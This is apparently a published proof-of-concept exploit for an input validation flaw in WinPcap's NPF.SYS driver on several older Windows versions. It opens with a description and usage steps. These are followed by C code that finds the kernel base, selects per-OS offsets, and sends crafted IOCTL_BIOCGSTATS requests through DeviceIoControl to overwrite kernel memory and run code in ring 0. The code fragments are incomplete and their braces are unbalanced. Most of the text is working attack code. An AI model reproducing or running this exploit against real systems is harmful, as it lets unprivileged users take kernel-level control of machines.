Local exploitation of an input validation vulnerability within the NPF.SYS device driver of WinPcap allows attackers to execute arbitrary code in kernel context, the following exploit code can be used to test your system for the mentioned vulnerability.
- Windows 2000 SP4 (Both server and workstation)
- Windows XP SP2
- Windows 2003 Server
- Windows Vista !!
Description:
It's a well known issue that WinPcap security model allows non-administrator
users to use its device driver. If they don't manually unload it after using
tools such as Wireshark (ethereal), which unfortunatelly oftenly happens, this
can lead to unwanted network traffic sniffing and now with the help of this
exploit to kernel mode code execution ;-)
Remarks:
The exploit code is a PoC and was tested only against Windows XP SP2, with minor
modifications (delta offsets and changing VirtualAlloc for NtAllocVirtualMemory due
to base address restrictions in Windows Vista ) should work on all OSes commented
above.
To test the PoC, just pick any software which uses WinPcap like WireShark, then
start to sniff in any iface and close it (so WinPcap device gets up ). Run the
exploit code (as guest user if you want) you should hit an int 3 in kernel mode :-)
for (i = 0; i < (lpcbNeeded / sizeof(LPVOID)) ; i++ )
{
if ( pGetDeviceDriverBaseName(lpImageBases[i],lpBaseName,MAX_PATH) )
{
printf ("%s\n",lpBaseName);
if (!strcmp(lpBaseName,"ntoskrnl.exe"))
{
NtosBase = lpImageBases[i];
printf("NTOSKRNL Base found at %#p\n",NtosBase);
break;
}
}
}
switch(GetOSVersion())
{
case OS_VISTA:
printf("System identified as Windows Vista\n");
retval = WVISTA_DELTA;
break;
case OS_W2K:
printf("System identified as Windows 2000\n");
retval = W2K_DELTA;
break;
case OS_W2K3:
printf("System identified as Windows 2003\n");
retval = W2K3_DELTA;
break;
case OS_WXP:
printf("System identified as Windows XP\n");
retval = WXP_DELTA;
break;
default:
printf("Unidentified system!\n");
}
return retval;
}
__declspec( naked ) void ShellCode (VOID)
{
// Just debug it, to check code execution ;-)
__asm int 3;
// The patch _should_ be done fastly ... that s why we use global vars...
switch(g_dwOsVersion)
{
case OS_VISTA:
memcpy( g_PatchAddress, g_WVISTA_PATCH_BYTES,0x10);
break;
case OS_W2K:
memcpy( g_PatchAddress, g_W2K_PATCH_BYTES,0x10);
break;
case OS_WXP:
memcpy( g_PatchAddress, g_WXP_PATCH_BYTES,0x10);
break;
case OS_W2K3:
memcpy( g_PatchAddress,g_W2K3_PATCH_BYTES,0x10);
break;
}
// Go out without raising an exception ;-), indeed this is inside a SEH frame but ... wtf! :-)
if ( DeviceIoControl(hDevice,
IOCTL_BIOCGSTATS,
(LPVOID)0,0,
(LPVOID)values,OUT_SIZE,
&cb,
NULL) )
{
printf("First time reading ... bytes returned %#x\n",cb);
for (i = 0;i<4;i++)
{
printf ("OutBuffer[i] = %#x\n",values[i]);
}
}
printf("Launching exploit ... \nOverwritting NTOSKRNL switch at -> %#p\n",g_PatchAddress);
if ( DeviceIoControl(hDevice,
IOCTL_BIOCGSTATS,
(LPVOID)0,0,
(LPVOID)g_PatchAddress,OUT_SIZE,
&cb,
NULL) )
{
// Dirty trick ..
NtQuerySystemInformation(0x15,QueryBuffer,sizeof(QueryBuffer), NULL);
// Bye bye god mode!
printf("We are back from ring0!\n");
}
}
}
else
{
printf("Error: Cannot open device %s\n",szNpfDevice);
}
}